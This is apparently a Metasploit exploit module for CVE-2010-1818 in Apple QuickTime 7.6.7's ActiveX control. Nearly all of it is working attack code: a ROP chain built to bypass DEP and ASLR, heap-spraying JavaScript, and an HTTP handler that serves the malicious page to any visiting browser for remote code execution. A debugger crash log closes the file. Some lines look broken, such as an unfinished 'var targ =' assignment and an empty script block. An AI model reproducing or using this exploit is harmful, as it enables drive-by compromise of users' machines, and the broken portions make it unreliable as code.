require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Seh
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name=> OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
:vuln_test=> nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution',
'Description'=> %q{
This module exploits a memory trust issue in Apple QuickTime
7.6.7. When processing a specially-crafted HTML page, the QuickTime ActiveX
control will treat a supplied parameter as a trusted pointer. It will
then use it as a COM-type pUnknown and lead to arbitrary code execution.
This exploit utilizes a combination of heap spraying and the
QuickTimeAuthoring.qtx module to bypass DEP and ASLR. This module does not
opt-in to ASLR. As such, this module should be reliable on all Windows
versions.
NOTE: The addresses may need to be adjusted for older versions of QuickTime.
},
'Author' =>
[
'Ruben Santemarta',
'jduck'
],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 11513 $',
'References' =>
[
[ 'CVE', '2010-1818' ],
[ 'OSVDB', '67705'],
[ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload'=>
{
'Space'=> 384,
'BadChars' => "",
'DisableNops' => true,
'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov esp,ebp").encode_string,
},
'Platform' => 'win',
'Targets'=>
[
[ 'Apple QuickTime Player 7.6.6 and 7.6.7 on Windows XP SP3',
{
'Ret' => 0x677a0000,
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 30 2010',
'DefaultTarget'=> 0))
end
def on_request_uri(client, request)
return if ((p = regenerate_payload(client)) == nil)
print_status("Sending #{self.name} exploit HTML to #{client.peerhost}:#{client.peerport}...")
shellcode = Rex::Text.to_unescape(p.encoded)
spray_target = 0x15220c20
rop_mod_base = target.ret
sploit = [
spray_target - 8,
rop_mod_base + 0x79c12,
rop_mod_base + 0x1e27,
rop_mod_base + 0x170088,
rop_mod_base + 0x10244,
rop_mod_base + 0x509e,
0x01040110,
0x01010101,
0x01010101,
rop_mod_base + 0x307a,
0x8000,
rop_mod_base + 0xbfb5b,
rop_mod_base + 0x1e27,
rop_mod_base + 0x2062d4,
rop_mod_base + 0x8fd6,
rop_mod_base + 0x134fd5,
rop_mod_base + 0x103ff8,
0x41414141,
rop_mod_base + 0x1e27,
0x200 / 4,
rop_mod_base + 0x778d2,
0x41414141,
0x41414141,
rop_mod_base + 0x1e27,
rop_mod_base + 0x2062d4,
rop_mod_base + 0x10244,
rop_mod_base + 0x307a,
0x42424242,
rop_mod_base + 0xbfb5b,
rop_mod_base + 0x509e,
0xdeadbeef
]
sploit[27] = 8 + (sploit.length * 4)
sploit = sploit.pack('V*')
sploit << p.encoded
sploit = Rex::Text.to_unescape(sploit)
custom_js = <<-EOF
function Prepare()
{
var block = unescape("#{sploit}");
while(block.length < 0x200)
block += unescape("%u0000");
heap = new heapLib.ie(0x20000);
while(block.length < 0x80000)
block += block;
finalspray = block.substring(2, 0x80000 - 0x21);
for(var i = 0; i < 350; i++)
{
heap.alloc(finalspray);
}
}
function start()
{
var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+ '</'+ 'object>';
document.getElementById('stb').innerHTML = obj;
Prepare();
var targ =
var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"' + '>'
+ '<' + 'PARAM name="_Marshaled_pUnk" value="' + targ + '"' + '/>'
+ '</'+ 'object>';
document.getElementById('xpl').innerHTML = obj;
}
EOF
hl_js = heaplib(custom_js)
content = <<-EOF
<html>
<head>
<script language="javascript">
</script>
</head>
<body onload="start()">
<div id="stb"></div>
<div id="xpl"></div>
</body>
</html>
EOF
send_response(client, content, { 'Content-Type' => "text/html" })
handler(client)
end
end
=begin
(7fc.a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=15220c20 ebx=00134ca8 ecx=15220c18 edx=00134b98 esi=15220c20 edi=00134bfc
eip=deadbe01 esp=00134b7c ebp=00134b90 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
deadbe01 ?????
=end